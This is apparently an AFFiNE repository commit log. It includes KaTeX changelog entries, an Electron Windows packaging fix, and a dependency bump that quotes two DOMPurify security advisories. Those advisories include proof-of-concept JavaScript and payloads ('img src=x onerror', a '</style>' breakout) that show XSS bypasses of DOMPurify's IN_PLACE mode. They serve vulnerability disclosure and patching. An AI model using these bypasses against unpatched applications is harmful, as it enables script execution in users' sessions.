([57914ad](https://redirect.github.com/KaTeX/KaTeX/commit/57914ad91eff401357f44bf364b136d37eba04f8)) #### [0.16.20](https://redirect.github.com/KaTeX/KaTeX/compare/v0.16.19...v0.16.20) (2025-01-12) ##### Bug Fixes - \providecommand does not overwrite existing macro ([#​4000](https://redirect.github.com/KaTeX/KaTeX/issues/4000)) ([6d30fe4](https://redirect.github.com/KaTeX/KaTeX/commit/6d30fe47b06f9da9b836fe518d5cbbecf6a6a3a1)), closes [#​3928](https://redirect.github.com/KaTeX/KaTeX/issues/3928) #### [0.16.19](https://redirect.github.com/KaTeX/KaTeX/compare/v0.16.18...v0.16.19) (2024-12-29) ##### Bug Fixes - **types:** improve `strict` function type ([#​4009](https://redirect.github.com/KaTeX/KaTeX/issues/4009)) ([4228b4e](https://redirect.github.com/KaTeX/KaTeX/commit/4228b4eb529b8e35def66cc6e4fa467383b98c86)) #### [0.16.18](https://redirect.github.com/KaTeX/KaTeX/compare/v0.16.17...v0.16.18) (2024-12-18) ##### Bug Fixes - Actually publish TypeScript type definitions ([#​4008](https://redirect.github.com/KaTeX/KaTeX/issues/4008)) ([629b873](https://redirect.github.com/KaTeX/KaTeX/commit/629b87354fdfc04a3769f09b69f6bbadebcb9ae8)) #### [0.16.17](https://redirect.github.com/KaTeX/KaTeX/compare/v0.16.16...v0.16.17) (2024-12-17) ##### Bug Fixes - MathML combines multidigit numbers with sup/subscript, comma separators, and multicharacter text when outputting to DOM ([#​3999](https://redirect.github.com/KaTeX/KaTeX/issues/3999)) ([7d79e22](https://redirect.github.com/KaTeX/KaTeX/commit/7d79e220f465c42d4334dc95f1c41e333667e168)), closes [#​3995](https://redirect.github.com/KaTeX/KaTeX/issues/3995) #### [0.16.16](https://redirect.github.com/KaTeX/KaTeX/compare/v0.16.15...v0.16.16) (2024-12-17) ##### Features - ESM exports, TypeScript types ([#​3992](https://redirect.github.com/KaTeX/KaTeX/issues/3992)) ([ea9c173](https://redirect.github.com/KaTeX/KaTeX/commit/ea9c173a0de953b49b2ce5d131e88b785f5dffa1)) #### [0.16.15](https://redirect.github.com/KaTeX/KaTeX/compare/v0.16.14...v0.16.15) (2024-12-09) ##### Features - italic sans-serif in math mode via `\mathsfit` command ([#​3998](https://redirect.github.com/KaTeX/KaTeX/issues/3998)) ([2218901](https://redirect.github.com/KaTeX/KaTeX/commit/22189018b63c9312ec4ad126804514a7390d60b5)) #### [0.16.14](https://redirect.github.com/KaTeX/KaTeX/compare/v0.16.13...v0.16.14) (2024-12-08) ##### Features - \dddot and \ddddot support ([#​3834](https://redirect.github.com/KaTeX/KaTeX/issues/3834)) ([bda35cd](https://redirect.github.com/KaTeX/KaTeX/commit/bda35cdb0a6bbbc52dd27c79e4d984688be3b745)), closes [#​2744](https://redirect.github.com/KaTeX/KaTeX/issues/2744) #### [0.16.13](https://redirect.github.com/KaTeX/KaTeX/compare/v0.16.12...v0.16.13) (2024-12-08) ##### Bug Fixes - `\vdots` and `\rule` support in text mode ([#​3997](https://redirect.github.com/KaTeX/KaTeX/issues/3997)) ([0e08352](https://redirect.github.com/KaTeX/KaTeX/commit/0e0835262345d991df61a435800a16b069a4d5c7)), closes [#​3990](https://redirect.github.com/KaTeX/KaTeX/issues/3990) #### [0.16.12](https://redirect.github.com/KaTeX/KaTeX/compare/v0.16.11...v0.16.12) (2024-12-08) ##### Features - **css:** configurable margin for display math ([#​3638](https://redirect.github.com/KaTeX/KaTeX/issues/3638)) ([3405001](https://redirect.github.com/KaTeX/KaTeX/commit/3405001225b8ee0cf8b35b2e3a6c1fa2191e5fef)) #### [0.16.11](https://redirect.github.com/KaTeX/KaTeX/compare/v0.16.10...v0.16.11) (2024-07-02) ##### Features - add \emph ([#​3963](https://redirect.github.com/KaTeX/KaTeX/issues/3963)) ([9f34da4](https://redirect.github.com/KaTeX/KaTeX/commit/9f34da4b3cf228a7af8134c394394d780a089f2b)), closes [#​3566](https://redirect.github.com/KaTeX/KaTeX/issues/3566) #### [0.16.10](https://redirect.github.com/KaTeX/KaTeX/compare/v0.16.9...v0.16.10) (2024-03-24) ##### Bug Fixes - \edef bypassing maxExpand via exponential blowup ([e88b4c3](https://redirect.github.com/KaTeX/KaTeX/commit/e88b4c357f978b1bca8edfe3297f0aa309bcbe34)) - escape \includegraphics src and alt ([c5897fc](https://redirect.github.com/KaTeX/KaTeX/commit/c5897fcd1f73da9612a53e6b5544f1d776e17770)) - force protocol to be lowercase for better protocol filtering ([fc5af64](https://redirect.github.com/KaTeX/KaTeX/commit/fc5af64183a3ceb9be9d1c23a275999a728593de)), closes [/datatracker.ietf.org/doc/html/rfc3986#section-3](https://redirect.github.com//datatracker.ietf.org/doc/html/rfc3986/issues/section-3) - maxExpand limit with Unicode sub/superscripts ([085e21b](https://redirect.github.com/KaTeX/KaTeX/commit/085e21b5da05414efefa932570e7201a7c70e5b2)) #### [0.16.9](https://redirect.github.com/KaTeX/KaTeX/compare/v0.16.8...v0.16.9) (2023-10-02) ##### Features - Support bold Fraktur ([#​3777](https://redirect.github.com/KaTeX/KaTeX/issues/3777)) ([240d5ae](https://redirect.github.com/KaTeX/KaTeX/commit/240d5aede915e0303929a9328745b1060e12004a)) #### [0.16.8](https://redirect.github.com/KaTeX/KaTeX/compare/v0.16.7...v0.16.8) (2023-06-24) ##### Features - expose error length and raw error message on ParseError ([#​3820](https://redirect.github.com/KaTeX/KaTeX/issues/3820)) ([710774a](https://redirect.github.com/KaTeX/KaTeX/commit/710774aaebb38f43b1ec51c159fe9b9520c91424)) #### [0.16.7](https://redirect.github.com/KaTeX/KaTeX/compare/v0.16.6...v0.16.7) (2023-04-28) ##### Bug Fixes - **docs/support_table.md:** delete redundant "varPsi" ([#​3814](https://redirect.github.com/KaTeX/KaTeX/issues/3814)) ([33a1b98](https://redirect.github.com/KaTeX/KaTeX/commit/33a1b98710c880d2d4a67aa0048f027a94b85702)) #### [0.16.6](https://redirect.github.com/KaTeX/KaTeX/compare/v0.16.5...v0.16.6) (2023-04-17) ##### Bug Fixes - Support `\let` via `macros` option ([#​3738](https://redirect.github.com/KaTeX/KaTeX/issues/3738)) ([bdb0be2](https://redirect.github.com/KaTeX/KaTeX/commit/bdb0be201794d22adaee05438b07a2830efea9da)), closes [#​3737](https://redirect.github.com/KaTeX/KaTeX/issues/3737) [#​3737](https://redirect.github.com/KaTeX/KaTeX/issues/3737) #### [0.16.5](https://redirect.github.com/KaTeX/KaTeX/compare/v0.16.4...v0.16.5) (2023-04-17) ##### Features - \_\_defineFunction API exposing internal defineFunction ([#​3805](https://redirect.github.com/KaTeX/KaTeX/issues/3805)) ([c7b1f84](https://redirect.github.com/KaTeX/KaTeX/commit/c7b1f84b7801a29dffdfa3db0ff35de289db80c0)), closes [#​3756](https://redirect.github.com/KaTeX/KaTeX/issues/3756) #### [0.16.4](https://redirect.github.com/KaTeX/KaTeX/compare/v0.16.3...v0.16.4) (2022-12-07) ##### Bug Fixes - space should prevent optional argument to \ ([#​3746](https://redirect.github.com/KaTeX/KaTeX/issues/3746)) ([a0deb34](https://redirect.github.com/KaTeX/KaTeX/commit/a0deb3410fd92340556fc4c9edb8ab586077e5bf)), closes [#​3745](https://redirect.github.com/KaTeX/KaTeX/issues/3745) #### [0.16.3](https://redirect.github.com/KaTeX/KaTeX/compare/v0.16.2...v0.16.3) (2022-10-22) ##### Bug Fixes - \hline after \cr ([#​3735](https://redirect.github.com/KaTeX/KaTeX/issues/3735)) ([ebf6bf5](https://redirect.github.com/KaTeX/KaTeX/commit/ebf6bf5b50a98ac6c5aca1896c0a6ba985c1c91c)), closes [#​3734](https://redirect.github.com/KaTeX/KaTeX/issues/3734) #### [0.16.2](https://redirect.github.com/KaTeX/KaTeX/compare/v0.16.1...v0.16.2) (2022-08-29) ##### Bug Fixes - **auto-render:** concatenate content of successive text nodes ([#​3422](https://redirect.github.com/KaTeX/KaTeX/issues/3422)) ([4d3fdd8](https://redirect.github.com/KaTeX/KaTeX/commit/4d3fdd8647a1c320dc7bcb9c9ea2af81379f700d)) - Implement \pmb via CSS text-shadow ([#​3505](https://redirect.github.com/KaTeX/KaTeX/issues/3505)) ([176552a](https://redirect.github.com/KaTeX/KaTeX/commit/176552a69183d71425b491d4cc2fa1d462a1246a)) #### [0.16.1](https://redirect.github.com/KaTeX/KaTeX/compare/v0.16.0...v0.16.1) (2022-08-28) ##### Bug Fixes - Use SVGs for some stacked delims ([#​3686](https://redirect.github.com/KaTeX/KaTeX/issues/3686)) ([8a65a2e](https://redirect.github.com/KaTeX/KaTeX/commit/8a65a2e1fd69ffeee2fac62229f9f05ebf6afd45)) </details> --- ### Configuration 📅 **Schedule**: (UTC) - Branch creation - At any time (no schedule defined) - Automerge - At any time (no schedule defined) 🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied. ♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox. 🔕 **Ignore**: Close this PR and you won't be reminded about this update again. --- - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box --- This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE). <!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0NC4xMzQuMSIsInVwZGF0ZWRJblZlciI6IjQ0LjEzNC4xIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==--> Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com> |
||
|
|
96fd01717f |
fix(electron): avoid Windows packaging glob hang (#15668)
## Description Fixes Electron Forge packaging on Windows hanging during the `afterCopy` cleanup of nested `.bin` entries. `path.join(buildPath, '**/.bin/**/*')` produces a backslash-delimited glob on Windows. Passing that pattern directly to `fast-glob` caused traversal to consume a full CPU core and grow the Node heap until the process failed near its default ~4 GB limit. This Yarn patch normalizes the generated glob to forward slashes before passing it to `fast-glob`. The patch is pinned to `@electron-forge/core` 7.11.1 through the workspace resolutions. Observed locally on Windows x64: - Before: packaging remained in `Preparing native dependencies` / `Finalizing package` for 30+ minutes and eventually failed with `JavaScript heap out of memory`. - After: `yarn affine @affine/electron package --platform=win32 --arch=x64` completed successfully; the final packaging pass took about 28 seconds. - The packaged application was launched and its renderer was inspected through Chromium remote debugging; the workspace rendered with no runtime exceptions. ## Checklist - [x] I have signed the [AFFiNE Contributor License Agreement](https://cla-assistant.io/toeverything/AFFiNE) — required before merge; the `license/cla` check must be green ([how it works](https://github.com/toeverything/AFFiNE/blob/canary/docs/BUILDING.md#sign-the-cla-first)) - [x] The PR targets the `canary` branch and its title follows [Conventional Commits](https://www.conventionalcommits.org/) - [ ] Tests are added or updated where it makes sense - [ ] `yarn lint` and `yarn typecheck` pass locally - [ ] If the PR code includes AI-generated edits, I have carefully reviewed it to ensure that the scope of the PR is consistent with what is claimed in the title and description, and that there are no redundant or invalid implementations. - [x] I agree that maintainers may close the PR without discussion if they consider the code quality to be too low. <!-- This is an auto-generated comment: release notes by coderabbit.ai --> ## Summary by CodeRabbit * **Chores** * Pinned Electron Forge to a patched version. <!-- end of auto-generated comment: release notes by coderabbit.ai --> |
||
|
|
6d37848284 |
chore: bump up dompurify version to v3.4.16 [SECURITY] (#15677)
This PR contains the following updates: | Package | Change | [Age](https://docs.renovatebot.com/merge-confidence/) | [Confidence](https://docs.renovatebot.com/merge-confidence/) | |---|---|---|---| | [dompurify](https://redirect.github.com/cure53/DOMPurify) | [`3.4.13` → `3.4.16`](https://renovatebot.com/diffs/npm/dompurify/3.4.13/3.4.16) |  |  | --- ### DOMPurify: IN_PLACE: node-removing afterSanitize hook leaves detached subtree event handlers armed, causing DOM XSS [GHSA-p98j-92pf-mc4p](https://redirect.github.com/advisories/GHSA-p98j-92pf-mc4p) <details> <summary>More information</summary> #### Details ##### Summary In `IN_PLACE` mode DOMPurify sanitizes the caller's live DOM subtree directly. To close a known hazard (GHSA-55q2-fjhq-7xh7), the library neutralizes any node a hook detaches during sanitization by stripping its subtree's non-allow-listed attributes, but this neutralization is wired only into the `beforeSanitizeElements` and `uponSanitizeElement` hook sites. An `afterSanitizeElements` or `afterSanitizeAttributes` hook that removes a non-root element (a documented, supported pattern) detaches that element's subtree with no neutralization, so descendant `on*` handlers remain armed on the caller's live tree after `sanitize()` returns, yielding DOM XSS. No special privilege is required beyond supplying markup to an application that uses `IN_PLACE` together with a node-removing afterSanitize hook. ##### Root Cause `IN_PLACE` sanitization mutates the caller's live document, so any element a hook detaches from that tree must have its subtree neutralized before `sanitize()` returns; otherwise a queued resource-event handler (for example an `<img onerror>` that began loading when the caller built the tree) fires in page scope even though the handler never reached the sanitized output. The guard helper `_handleHookDetachedNode` (which calls `_neutralizeSubtree` in `IN_PLACE`) is invoked only after `beforeSanitizeElements` and after `uponSanitizeElement`. It is never invoked from the afterSanitize return paths, and `_sanitizeAttributes` never calls it at all. The post-walk `IN_PLACE` neutralization pass iterates only `DOMPurify.removed`, and hook-detached nodes are intentionally not recorded there, so that pass cannot reach them either. ```text src/purify.ts _sanitizeElements: _handleHookDetachedNode present at lines 2142 and 2175 (before/upon), absent after afterSanitizeElements at lines 2208 and 2249. _sanitizeAttributes: afterSanitizeAttributes fires at line 2670 with no detach re-check; the function never calls _handleHookDetachedNode. Post-walk IN_PLACE pass (lines 3081-3090) iterates DOMPurify.removed only, which by design (comment at lines 2096-2099) excludes hook-detached nodes. ``` ##### Impact An attacker who supplies markup processed by a victim application that runs `DOMPurify.sanitize(node, { IN_PLACE: true })` and registers a node-removing `afterSanitizeElements` or `afterSanitizeAttributes` hook can retain arbitrary `on*` event handlers on descendants of a removed non-root element. Because `IN_PLACE` operates on the caller's live document, a queued resource-event handler on such a descendant fires in the page origin after the synchronous `sanitize()` call returns, giving script execution in the victim's session (DOM XSS). This defeats DOMPurify's `IN_PLACE` contract to neutralize handlers on subtrees removed from the live tree. The capability is script execution in the victim origin; exact confidentiality and integrity effects depend on the hosting application's session. ##### Proof of Concept ```text Dependencies: Node.js and jsdom. The harness builds a live tree, registers a removal hook, runs IN_PLACE sanitize(), then inspects whether the attacker onerror handler survives on the detached descendant. jsdom does not perform real image loads, so the retained handler (rather than an actual fired event) is the observed hazard; the retained on* attribute on a live detached node after a synchronous sanitize() return is the neutralization failure. ``` Reproduction steps: 1. Build a live subtree `#root > section#wrap > img[onerror]` where `#root` is the walk root and `section#wrap` is a non-root wrapper. 2. Register an `afterSanitizeElements` (or `afterSanitizeAttributes`) hook that calls `node.remove()` on the wrapper. 3. Call `DOMPurify.sanitize(root, { IN_PLACE: true })`. 4. Observe that the descendant `<img>` retains its `onerror` handler, whereas the same removal performed in a `beforeSanitizeElements`/`uponSanitizeElement` hook strips it. ```javascript const { JSDOM } = require('jsdom'); const createDOMPurify = require('dompurify'); const { window } = new JSDOM('<!DOCTYPE html><body></body>'); const DOMPurify = createDOMPurify(window); const root = window.document.createElement('div'); root.id = 'root'; root.innerHTML = '<section id="wrap"><img src="x" onerror="ATTACKER()"></section>'; window.document.body.appendChild(root); DOMPurify.addHook('afterSanitizeElements', (node) => { if (node.id === 'wrap') node.remove(); }); DOMPurify.sanitize(root, { IN_PLACE: true }); // The detached <img> still carries its onerror handler: console.log(root.querySelector('#wrap') === null, // true (removed from live tree) !!window.document.querySelector('img[onerror]') || // handler survives on the detached node root.innerHTML); ``` ```text PASS: beforeSanitizeElements detach neutralizes descendant onerror (control) PASS: uponSanitizeElement detach neutralizes descendant onerror (control) PASS: without a removal hook the descendant onerror is stripped normally PASS: afterSanitizeElements detach LEAVES descendant onerror armed (GAP) PASS: afterSanitizeAttributes detach LEAVES descendant onerror armed (GAP) PASS: kept custom element removed in afterSanitizeElements leaves descendant onerror armed (GAP) ``` ##### Attack Chain 1. **Exposure:** The victim application calls `DOMPurify.sanitize(liveNode, { IN_PLACE: true })` on attacker-influenced markup and has registered a node-removing `afterSanitizeElements` or `afterSanitizeAttributes` hook per an application policy (`src/purify.ts:3026` walk, `2136` element pass, `2522` attribute pass). 2. **Control:** The attacker controls the markup, including a non-root wrapper element and, inside it, a descendant carrying an `on*` resource-event handler such as `<img src=x onerror=...>`. 3. **Path:** The pre-order walk visits the wrapper before its descendants. During the wrapper's element or attribute pass the application hook detaches the wrapper from the live tree. 4. **Guard:** The detach-neutralization guard `_handleHookDetachedNode` runs only after `beforeSanitizeElements` (`2142`) and `uponSanitizeElement` (`2175`); it is absent after `afterSanitizeElements` (`2208`, `2249`) and is never called by `_sanitizeAttributes` (afterSanitizeAttributes at `2670`). The NodeIterator advances past the detached subtree, so the descendants are never revisited, and the post-walk pass iterates only `DOMPurify.removed`, which excludes hook-detached nodes. 5. **Primitive:** The descendant retains its `on*` handler on the caller's live document after `sanitize()` returns. 6. **Result:** The queued resource event fires the attacker handler in the victim page origin, achieving DOM XSS despite `IN_PLACE` sanitization. ##### Bypass Evidence The relevant prior fix is GHSA-55q2-fjhq-7xh7 ("IN_PLACE hook removal leaves a detached subtree executable, causing XSS"), whose change (`#1557`) added `_neutralizeSubtree` at the `beforeSanitizeElements` and `uponSanitizeElement` detach sites. Inspection of that change shows it touches no afterSanitize site: the diff adds the neutralization only at the before/upon locations, later refactored into `_handleHookDetachedNode` at `src/purify.ts:2142` and `2175`. A subsequent hardening change (`#1616`) added a `rootWasRemoved` throw and a neutralization sweep over `DOMPurify.removed`, but that sweep still iterates only `DOMPurify.removed`, which by design excludes hook-detached non-root nodes, so it does not close this gap. The `afterSanitizeElements`-on-kept-custom-element site at `2208` was itself introduced by the fix for GHSA-c2j3-45gr-mqc4 (`#1527`), adding another uncovered hook site. Disproof attempts, all failed: (a) that a later release closed the afterSanitize gap, refuted by inspecting the published 3.4.13, 3.4.14, and 3.4.15 artifacts; (b) that detached descendants are revisited or re-sanitized, refuted at runtime (the `onerror` is retained only at the afterSanitize sites and stripped at the before/upon sites and with no removal hook); (c) that the post-walk pass catches hook-detached nodes, refuted by the design that excludes them from `DOMPurify.removed`; (d) that the precondition is contrived, refuted by parity with the accepted GHSA-55q2 threat model and the library's own supported pattern of removing a node inside `afterSanitizeElements`. The only edge not directly executed is the browser resource-event dispatch (jsdom performs no real image load); it is established by the proven retention of the live handler after a synchronous return, the library's own comments describing exactly this hazard, and parity with the accepted GHSA-55q2 mechanism. ##### Affected Versions - `Ecosystem: npm` - `Package: dompurify` - `Confirmed affected range: >= 3.4.13, <= 3.4.15` - `Latest release checked: 3.4.15 (npm registry)` - `Fix status: fixed in 3.4.16` The before/upon detach neutralization introduced for GHSA-55q2-fjhq-7xh7 first shipped in 3.4.13; the residual afterSanitize gap was verified by reproducing it against the published npm artifacts for 3.4.13, 3.4.14, and 3.4.15. The 3.4.12 artifact predates that neutralization and behaves differently at the before/upon sites, so it is outside this specific incomplete-fix range. No release through 3.4.15 neutralizes detached subtrees at the afterSanitize sites, so no fixed version is established. ##### Suggested Fix Enforce the same `IN_PLACE` detach-neutralization invariant at every hook site that can detach a node, not only the before/upon sites. Concretely, apply a `_handleHookDetachedNode(currentNode, root)` re-check after `afterSanitizeElements` at both `src/purify.ts:2208` and `2249` (returning as removed when the node was detached), and add an equivalent `IN_PLACE` detach check plus `_neutralizeSubtree` after `afterSanitizeAttributes` at `2670`. As an interim mitigation without a code change, applications using `IN_PLACE` can avoid removing nodes inside `afterSanitizeElements`/`afterSanitizeAttributes` hooks and instead perform such removals in `beforeSanitizeElements`/`uponSanitizeElement`, or avoid `IN_PLACE` for attacker-influenced content. Reported by zx (GitHub: @​manus-pi). #### Severity - CVSS Score: 2.3 / 10 (Low) - Vector String: `CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N` #### References - [https://github.com/cure53/DOMPurify/security/advisories/GHSA-p98j-92pf-mc4p](https://redirect.github.com/cure53/DOMPurify/security/advisories/GHSA-p98j-92pf-mc4p) - [https://github.com/cure53/DOMPurify/pull/1636](https://redirect.github.com/cure53/DOMPurify/pull/1636) - [https://github.com/cure53/DOMPurify/commit/b9b9d80f7e401771c2ccaef5f45def7eec8f27d7](https://redirect.github.com/cure53/DOMPurify/commit/b9b9d80f7e401771c2ccaef5f45def7eec8f27d7) - [https://github.com/cure53/DOMPurify/releases/tag/3.4.16](https://redirect.github.com/cure53/DOMPurify/releases/tag/3.4.16) - [https://github.com/advisories/GHSA-p98j-92pf-mc4p](https://redirect.github.com/advisories/GHSA-p98j-92pf-mc4p) This data is provided by the [GitHub Advisory Database](https://redirect.github.com/advisories/GHSA-p98j-92pf-mc4p) ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### DOMPurify: IN_PLACE returns a force-removed rawtext root whose text carries attacker markup — pure HTML reparse executes [GHSA-6688-9rhm-gjv2](https://redirect.github.com/advisories/GHSA-6688-9rhm-gjv2) <details> <summary>More information</summary> #### Details ##### Environment - dompurify 3.4.15 (current npm release); reproduced independently on jsdom 30.0.1 and 29.1.1 (Node.js 20.x / 26.x) - Config: `DOMPurify.sanitize(node, { IN_PLACE: true })` on a Node input; `SAFE_FOR_XML` at its default (`true`) ##### Summary The 3.4.9 fix for the IN_PLACE detached-root class added two protections on the IN_PLACE return path: a fail-closed `TypeError` in `_forceRemove` when a node selected for removal cannot be detached, and a `_neutralizeSubtree` pass (`dist/purify.js` line 1336) that strips non-allowlisted **attributes** from removed subtrees. Both miss the rawtext **text-content** form. When the force-removed root is a rawtext element (`<style>`), the payload lives in the node's *text*: the node detaches fine (the `TypeError` guard is not reached), `_neutralizeSubtree` strips nothing (there are no attributes), and the IN_PLACE exit returns the detached, never-sanitized `<style>` whose text still carries live markup. Serializing that node and re-parsing it in **plain HTML context** materializes the payload — no foreign-content context required. The same Node input sanitized **without** `IN_PLACE` returns an empty result: the only difference is the IN_PLACE return path handing the killed node back. ##### Steps to reproduce ```js const { JSDOM } = require('jsdom'); const createDOMPurify = require('dompurify'); // 3.4.15 const window = new JSDOM('').window; const DOMPurify = createDOMPurify(window); const styleRoot = window.document.createElement('style'); styleRoot.setAttribute('onclick', 'alert(1)'); // attribute payload styleRoot.textContent = '</style><img src=x onerror=1>'; // text payload window.document.body.appendChild(styleRoot); const returned = DOMPurify.sanitize(styleRoot, { IN_PLACE: true }); console.log(returned === styleRoot); // true (same node) console.log(styleRoot.parentNode === null); // true (detached) console.log(styleRoot.outerHTML); // <style></style><img src=x onerror=1></style> console.log(styleRoot.getAttribute('onclick')); // null (attribute neutralized) console.log(styleRoot.textContent); // '</style><img src=x onerror=1>' (text survives) // plain HTML reparse (no foreign-content context involved): const probe = window.document.createElement('div'); probe.innerHTML = returned.outerHTML || styleRoot.outerHTML; console.log(probe.querySelectorAll('img').length); // 1 console.log(probe.querySelector('img').getAttribute('onerror')); // "1" ``` Observed on 3.4.15: one node, one call — the `onclick` **attribute** is neutralized while the **text** payload (`</style><img src=x onerror=1>`) survives verbatim; serializing and re-parsing the returned node in plain HTML context materializes the `img` with the live `onerror` handler. Contrast on the same Node input without `IN_PLACE`: `RETURN_DOM: true` → `<body></body>`; `RETURN_DOM_FRAGMENT: true` → 0 children — the payload is fully sanitized away. The only difference is the IN_PLACE return path. Contrast on the removal trigger: `SAFE_FOR_XML: false` → the node is not removed (detached stays false); plain CSS text → not removed. The removal is gated by the mXSS text probes and happens *specifically because* the serialized node would re-open tags on reparse. ##### Root cause `_isUnsafeNode` (`dist/purify.js` 3.4.15, lines 1700–1714) removes nodes whose literal text would re-open tags on reparse — shape (b) in the source comment is "text-only content that already carries the element's OWN end tag", detected by the `LITERAL_TEXT_CLOSE` probe (line 385) alongside the `ELEMENT_MARKUP_PROBE` (line 339) rules. `_forceRemove` (line 1122) records the node in `DOMPurify.removed` (`{element}`) and detaches it. The removal is intentional: the upstream comment states these shapes are removed **because the literal serializer emits them verbatim for the HTML parser to re-open**. The IN_PLACE exit then hands the force-removed root back to the caller — the very node whose removal `DOMPurify.removed` just recorded (verified: `DOMPurify.removed.some(e => e.element === root)` is `true` on the returned instance). The 3.4.9 `_neutralizeSubtree` pass (line 1336) addresses only the attribute form — its own docstring: "walks a removed subtree and strips every attribute" (purpose: cancel queued resource events). Rawtext text content is out of its scope, so the removal that was performed *specifically to prevent reparse* is undone by returning the node: you removed it to stop the reparse, then returned it. Differential (one node, one call, same removal path): the `onclick` attribute is neutralized by the existing pass while the text payload survives verbatim — the attribute axis is covered, the text axis is the gap. ##### Impact Identical blast radius to the published IN_PLACE family: an application that sanitizes a Node in `IN_PLACE` mode and re-inserts (or serializes and then re-inserts) the result materializes attacker markup in plain HTML context: script execution in the page. Moving the returned node via `appendChild` alone is safe; the round trip through serialization is what fires the payload. No foreign-content context is required with the close-tag payload. ##### Affected versions - Verified live: 3.4.15 (current). - Source-verified: the attribute-only `_neutralizeSubtree` and the IN_PLACE return path are present in 3.4.9–3.4.14; releases before 3.4.9 predate the fix entirely (unconditional return; individual pre-3.4.9 releases not dynamically tested). - Per cure53 advisory convention the affected range is reported as `<= 3.4.15` (current at time of writing). ##### Suggested remediation **Primary (root-cause, covers every form):** at the IN_PLACE exit, check whether the returned root was recorded during sanitization — `DOMPurify.removed.some(e => e.element === root)` — and fail closed: throw the same `TypeError` style used by the 3.4.9 detach guard ("a node selected for removal could not be safely returned; refusing to sanitize in place"), or return `null`. This is consistent with the existing fail-closed design and covers all present and future root-kill reasons in one check. **Secondary (form-specific):** extend `_neutralizeSubtree` to neutralize **text content of rawtext descendants** — the elements in `LITERAL_TEXT_ELEMENT_NAMES` (`style`, `script`, `xmp`, `iframe`, `noembed`, `noframes`, `plaintext`, `noscript`) — by rewriting `textContent` to a defanged form, matching the probe coverage of `_isUnsafeNode`/`LITERAL_TEXT_CLOSE`. A regression test asserting that a force-removed rawtext root comes back with no `/<[/\w!]/` match in `textContent` (and is not returned at all under the primary fix) prevents re-introduction. ##### Prior art / differentiation - GHSA-r47g-fvhr-h676 (fixed 3.4.6): clobbered-form **root** removal — different trigger; this report's root is a normal allowlisted `style` element killed by the text probe. - GHSA-55q2-fjhq-7xh7 (low): IN_PLACE **hook removal** leaves a detached subtree executable — the attribute-form twin (hook-stripped subtree retains onload-class handlers). This report's rawtext **text** form is not covered by `_neutralizeSubtree`'s attribute stripping and is not that advisory. - GHSA-h8r8-wccr-v5f2 (medium): mXSS via re-contextualization in the standard (non-IN_PLACE) serialize path — different mechanism; IN_PLACE is not involved. - The 3.4.9 release notes credit @​mozfreedyb for the IN_PLACE handling improvements that this residual escapes on the text axis. ##### Applicability scope (stated up front) The payload materializes when the application **serializes and re-parses** the sanitizer output (`innerHTML` assignment, template rendering, markdown/HTML round trips) or otherwise consumes the returned node's markup. Moving the returned node via `appendChild` alone does not trigger it. Applications that pass **live, connected attacker trees** into `IN_PLACE` are explicitly warned against by upstream's own source comment; this report concerns the serialize-and-reinsert consumption pattern that the IN_PLACE mode exists to serve. #### Severity Low #### References - [https://github.com/cure53/DOMPurify/security/advisories/GHSA-6688-9rhm-gjv2](https://redirect.github.com/cure53/DOMPurify/security/advisories/GHSA-6688-9rhm-gjv2) - [https://github.com/cure53/DOMPurify/pull/1636](https://redirect.github.com/cure53/DOMPurify/pull/1636) - [https://github.com/cure53/DOMPurify/commit/b9b9d80f7e401771c2ccaef5f45def7eec8f27d7](https://redirect.github.com/cure53/DOMPurify/commit/b9b9d80f7e401771c2ccaef5f45def7eec8f27d7) - [https://github.com/cure53/DOMPurify/releases/tag/3.4.16](https://redirect.github.com/cure53/DOMPurify/releases/tag/3.4.16) - [https://github.com/advisories/GHSA-6688-9rhm-gjv2](https://redirect.github.com/advisories/GHSA-6688-9rhm-gjv2) This data is provided by the [GitHub Advisory Database](https://redirect.github.com/advisories/GHSA-6688-9rhm-gjv2) ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### Release Notes <details> <summary>cure53/DOMPurify (dompurify)</summary> ### [`v3.4.16`](https://redirect.github.com/cure53/DOMPurify/releases/tag/3.4.16): DOMPurify 3.4.16 [Compare Source](https://redirect.github.com/cure53/DOMPurify/compare/3.4.15...3.4.16) - Fixed a problem with `IN_PLACE` node removal when working with hooks, thanks [@​manus-pi](https://redirect.github.com/manus-pi) - Fixed a problem with `IN_PLACE` sanitization and raw-text roots, thanks [@​h-t-m](https://redirect.github.com/h-t-m) - Fixed a problem with ESM default exports landing in CommonJS declarations, thanks [@​ssi02014](https://redirect.github.com/ssi02014) - Migrated from `rollup` to `rolldown` because performance, thanks [@​ssi02014](https://redirect.github.com/ssi02014) - Bumped several dependencies where possible ### [`v3.4.15`](https://redirect.github.com/cure53/DOMPurify/releases/tag/3.4.15): DOMPurify 3.4.15 [Compare Source](https://redirect.github.com/cure53/DOMPurify/compare/3.4.14...3.4.15) - Added better clobbering hardening when XML content is involved, thanks [@​gnyselcuk](https://redirect.github.com/gnyselcuk) - Added several smaller hardening and edge-case improvements, thanks [@​leechristensen](https://redirect.github.com/leechristensen) - Bumped several dependencies where possible ### [`v3.4.14`](https://redirect.github.com/cure53/DOMPurify/releases/tag/3.4.14): DOMPurify 3.4.14 [Compare Source](https://redirect.github.com/cure53/DOMPurify/compare/3.4.13...3.4.14) - Fixed an issue with possible bypasses when risky tags are allow-listed, thanks [@​AlirezaRouhbakhsh](https://redirect.github.com/AlirezaRouhbakhsh) - Fixed a couple of edge cases with mixed document contexts, thanks [@​fishjojo1](https://redirect.github.com/fishjojo1) - Added the SVG `pointer-events` and `vector-effect` presentation attributes to the allow-list, thanks [@​Jaybhade](https://redirect.github.com/Jaybhade) - Conducted another refactoring run, removed dead branches and duplicated logic, flattened attribute validation - Updated the documentation in several spots, README, wiki, etc., thanks 